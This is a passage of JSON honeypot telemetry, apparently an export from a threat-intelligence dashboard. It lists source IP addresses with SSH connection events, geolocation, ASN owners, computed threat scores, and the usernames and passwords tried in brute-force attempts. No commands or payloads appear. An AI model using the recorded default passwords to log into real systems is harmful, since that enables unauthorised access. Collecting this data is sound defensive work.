      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:06:47.531000+00:00",
        "last_seen_30d": "2026-05-03T04:11:05.532000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "222.241.144.138": {
      "attack_count": 28,
      "first_seen": "2026-05-19T06:53:58.185Z",
      "last_seen": "2026-05-19T07:56:03.038Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:53:58.185000+00:00",
        "last_seen_30d": "2026-05-19T07:57:04.340000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "108.181.18.155": {
      "attack_count": 24,
      "first_seen": "2026-05-10T01:48:00.642Z",
      "last_seen": "2026-05-13T01:12:11.851Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:48:00.642000+00:00",
        "last_seen_30d": "2026-05-13T01:13:12.929000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "123.179.229.33": {
      "attack_count": 24,
      "first_seen": "2026-05-19T16:32:36.361Z",
      "last_seen": "2026-05-19T17:56:21.196Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:32:36.361000+00:00",
        "last_seen_30d": "2026-05-19T17:57:27.261000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "93.170.160.115": {
      "attack_count": 24,
      "first_seen": "2026-05-21T18:31:55.455Z",
      "last_seen": "2026-05-21T18:45:36.780Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kovel",
      "asn": 204929,
      "as_org": "Television, Telephony, Internet of Ukraine Ltd.",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:31:55.455000+00:00",
        "last_seen_30d": "2026-05-21T18:56:32.117000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "116.169.221.27": {
      "attack_count": 20,
      "first_seen": "2026-05-09T08:53:52.632Z",
      "last_seen": "2026-05-09T08:56:02.051Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:53:52.632000+00:00",
        "last_seen_30d": "2026-05-09T08:57:05.028000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "107.173.210.59": {
      "attack_count": 18,
      "first_seen": "2026-05-02T23:07:58.471Z",
      "last_seen": "2026-05-10T09:22:12.758Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Marietta",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 872,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:07:58.471000+00:00",
        "last_seen_30d": "2026-05-13T07:52:35.229000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 860,
        "Cowrie": 12
      }
    },
    "23.239.96.154": {
      "attack_count": 18,
      "first_seen": "2026-05-09T23:54:03.843Z",
      "last_seen": "2026-05-31T07:11:26.487Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 53850,
      "as_org": "GorillaServers, Inc.",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:54:03.843000+00:00",
        "last_seen_30d": "2026-05-31T07:12:32.390000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "193.122.125.184": {
      "attack_count": 13,
      "first_seen": "2026-05-28T05:56:26.773Z",
      "last_seen": "2026-05-29T04:27:46.591Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:56:26.773000+00:00",
        "last_seen_30d": "2026-05-29T04:28:56.484000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8
      }
    },
    "92.118.39.197": {
      "attack_count": 12,
      "first_seen": "2026-05-11T04:03:17.918Z",
      "last_seen": "2026-05-15T19:02:13.808Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:03:17.918000+00:00",
        "last_seen_30d": "2026-05-15T19:03:17.928000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "194.164.107.6": {
      "attack_count": 11,
      "first_seen": "2026-05-19T02:15:47.621Z",
      "last_seen": "2026-05-19T02:46:59.589Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 66.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.7,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 19,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-06T04:37:09.088000+00:00",
        "last_seen_30d": "2026-05-24T08:41:04.553000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 276,
        "Honeytrap": 78,
        "Cowrie": 11,
        "H0neytr4p": 3,
        "ElasticPot": 2,
        "ConPot": 1
      }
    },
    "105.184.241.228": {
      "attack_count": 10,
      "first_seen": "2026-05-21T01:55:32.199Z",
      "last_seen": "2026-05-21T05:56:20.317Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Bloemfontein",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:55:32.199000+00:00",
        "last_seen_30d": "2026-05-21T06:00:18.480000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "118.145.102.69": {
      "attack_count": 10,
      "first_seen": "2026-05-30T17:04:14.813Z",
      "last_seen": "2026-05-30T17:21:03.093Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz2wsx#$",
        "Lenovo@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:04:14.813000+00:00",
        "last_seen_30d": "2026-05-30T17:22:14.405000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "103.186.77.85": {
      "attack_count": 8,
      "first_seen": "2026-05-24T21:07:09.118Z",
      "last_seen": "2026-05-24T21:08:00.659Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:07:09.118000+00:00",
        "last_seen_30d": "2026-05-24T21:09:06.170000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "112.123.17.8": {
      "attack_count": 8,
      "first_seen": "2026-05-08T10:05:35.783Z",
      "last_seen": "2026-05-08T10:05:39.090Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "grouter",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:05:35.783000+00:00",
        "last_seen_30d": "2026-05-08T10:15:44.564000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "116.207.108.171": {
      "attack_count": 8,
      "first_seen": "2026-05-20T14:52:04.673Z",
      "last_seen": "2026-05-20T15:09:05.326Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:52:04.673000+00:00",
        "last_seen_30d": "2026-05-20T15:10:18.623000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "45.153.34.47": {
      "attack_count": 7,
      "first_seen": "2026-05-18T14:32:24.539Z",
      "last_seen": "2026-05-18T14:32:27.319Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ming!@#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T17:56:41+00:00",
        "last_seen_30d": "2026-05-18T14:33:31.787000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "109.172.31.74": {
      "attack_count": 6,
      "first_seen": "2026-05-03T01:48:26.828Z",
      "last_seen": "2026-05-03T01:48:34.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:48:26.828000+00:00",
        "last_seen_30d": "2026-05-03T01:49:43.754000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "46.28.234.13": {
      "attack_count": 6,
      "first_seen": "2026-05-08T04:21:28.624Z",
      "last_seen": "2026-05-08T04:21:30.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 207728,
      "as_org": "EUROHOSTER Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:21:28.624000+00:00",
        "last_seen_30d": "2026-05-08T04:22:36.433000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "163.7.5.228": {
      "attack_count": 5,
      "first_seen": "2026-05-06T15:19:55.673Z",
      "last_seen": "2026-05-06T15:19:57.434Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "Welcome#12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:19:55.673000+00:00",
        "last_seen_30d": "2026-05-06T15:21:01.027000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "43.135.179.223": {
      "attack_count": 5,
      "first_seen": "2026-05-29T00:26:20.776Z",
      "last_seen": "2026-05-29T00:26:25.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456QWE"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:47:38.048000+00:00",
        "last_seen_30d": "2026-05-29T01:26:24.348000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 5
      }
    },
    "104.152.52.238": {
      "attack_count": 4,
      "first_seen": "2026-05-03T05:15:29.353Z",
      "last_seen": "2026-05-03T05:15:29.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T05:15:29.353000+00:00",
        "last_seen_30d": "2026-05-24T05:03:56.147000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "198.235.24.12": {
      "attack_count": 4,
      "first_seen": "2026-05-11T04:51:45.368Z",
      "last_seen": "2026-05-11T04:51:48.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 46.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T22:00:57+00:00",
        "last_seen_30d": "2026-05-28T03:58:12.743000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "205.210.31.178": {
      "attack_count": 4,
      "first_seen": "2026-05-13T10:12:59.053Z",
      "last_seen": "2026-05-13T10:13:02.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T19:35:36.142000+00:00",
        "last_seen_30d": "2026-05-30T03:00:41.267000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 17,
        "Cowrie": 4,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "64.62.197.152": {
      "attack_count": 4,
      "first_seen": "2026-05-17T15:50:14.416Z",
      "last_seen": "2026-05-17T15:50:18.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T04:18:10+00:00",
        "last_seen_30d": "2026-05-31T13:07:20.963000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 79,
        "Redishoneypot": 11,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "64.62.197.236": {
      "attack_count": 4,
      "first_seen": "2026-05-02T08:05:22.941Z",
      "last_seen": "2026-05-02T08:05:27.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 30,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T08:05:22.941000+00:00",
        "last_seen_30d": "2026-05-31T13:53:59.660000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeytrap": 1
      }
    },
    "65.49.1.168": {
      "attack_count": 4,
      "first_seen": "2026-05-04T14:50:14.832Z",
      "last_seen": "2026-05-04T14:50:18.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 78.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 28,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T14:38:45.009000+00:00",
